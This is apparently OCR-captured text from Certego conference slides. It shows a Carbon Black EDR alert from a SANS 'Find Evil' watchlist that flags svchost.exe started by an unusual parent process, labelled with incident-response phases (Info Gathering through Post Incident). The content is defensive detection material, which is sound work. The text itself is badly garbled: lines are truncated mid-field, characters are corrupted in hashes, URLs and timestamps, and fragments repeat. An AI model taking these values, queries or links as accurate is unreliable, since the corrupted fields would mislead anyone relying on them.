Analysis O 2021-08-04 Endpoint  jjljance_data_sans: 568504 alliance_link_sans: https:/digital-forensics.sans.org/media/poster_2014_find_evil.pdf alliance_score_sans: 100 allian
01:58:44 ?A:'B':::'i"’ 2021-01-07T15:39:53.000Z cb_server: mei.certego.local eb_version: 6.5.2191108.0352 certego_severity: 4 childproc_count: O cmdline: C:\windows)
UTC BLACK e computer_name: PC concurrency_key: stark crossproc_count: 1 feed_id: ¢ feed_name: sans filemod_count: O from_feed_search: false groi
Info Gathering e: workstation hostname: dt-141966820 input.type: |og interface_ip: 128.66.33.22 ioc_query_index: events ioc_query_string: (process_name:svch

me:* -parent_name:services.exe -parent_name:svchost.exe -parent_name:rpcnet.exe -parent_name:rpcnetp.exe -parent_name:explorer.exe -parent
ent_name:msmpeng.exe) ioc_type: query ioc_value: {"index_type": "events", "search_query": "cb.urlver=1&g=(process_name%3Asvchost.exe%20par
Containment 2 parent_name%3Aservices.exe%20-parent_name%3Asvchost.exe%20-parent_name%3Arpcnet.exe%20-parent_name%3Arpcnetp.exe%20-parent_nz
e%20-parent_name%3Amrt.exe%20-parent_name%3Amsmpeng.exe)"} last_update: 2021-01-07T09:26:18.238Z log.file.path: /var/cb/data/event_bri
5: C78655BC80301D76ED4FEFICIEA40A7D modload_count: 48 netconn_count: 1 offset: 7906918 os_type: windows parent_guid: 000005a0-0C
Eradication 2) a8d5878 parent_name: 1708398242 .exe parent_pid: 4648 parent_segment_id: 1 parent_unique_id: 000005a0-0000-1228-01d5-ac172a8d5878-0¢
ss_guid: 000005a0-0000-1244-01d5-ac172fca3624 process_id: 000005a0-0000-1244-01d5-ac172fca3624 process_md5: C78655BC80301D76ED4FE
ess_name: svchost.exe process_pid: 4676 process_sha256: 93b2ed4004ed5f7f3039dd7ecbd22c7e4e24b6373b4d9ef8d6e45a179b13a5e8 prospec
Post Incident W d_count: O report_id: 568504 report_score: 100 segment_id: 1575624643943 sensor_id: 1440 server_name: 128.66.33.22 source: /var/cb/data/eve
on start: 2021-01-07T09:26:06.33Z tags: ["carbonblack"] timestamp: 1575624643.943 type: feed.storage.hit.process unique_id: 000005a0-0000-124-
-016eda8cl1567 url_binary: https:/mei.certego.local:8443/#/binary/C78655BC80301D76ED4FEFICIEA4OA7D url_feed: https:/mei.certego.local:844:
1&cb.q.feed_id=6 url_list: [{"url":"https://mei.certego.local:8443/#/binary/C78655BC80301D76ED4FEF1C1EA40A7D" ,"label": "Cb: url_binary"},{"url":"https://mei.ce
st/1440","label":"Cb: url_sensor"},{"url":"https://mei.certego.local:8443/#/analyze/000005a0-0000-1244-01d5-ac172fca3624", "label":"Cb: url_process_analyze"},{
tego.local:8443/#/threats/cb.urlver=1&cb.q.feed_id=6","label": "Cb: url_feed"}] url_process_analyze: https:/mei.certego.local:8443/#/analyze/000005a0-
72fca3624 url_sensor: https:/mei.certego.local:8443/#/host/1440 username: STARK\giallin watchlist_273: 2021-01-07T09:30:06.719669Z

O 2021-08-04 Endpoint  gjliance_data_sans: 568504 alliance_link_sans: https:/digital-forensics.sans.org/media/poster_2014_find_evil.pdf alliance_score_sans: 100 allian

O158:44  MOnlerng 501.01-07T15:39:53.000Z cb_server: mei.certego.local eb_version: 6.52191108.0352 certego_severity: 4 childproc_count: O cmdline: C\windows)

UTC BLACK e computer_name: PC concurrency_key: stark crossproc_count: 1 feed_id: 6 feed_name: sans filemod_count: O from_feed_search: false gro:
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Q&A
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SECURITY SUMMIT



VIENI A TROVARCI AL NOSTRO STAND!

CONTATTI:
INFO@CERTEGO.NET
A.DICARLO@CERTEGO.NET
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SECURITY SUMMIT
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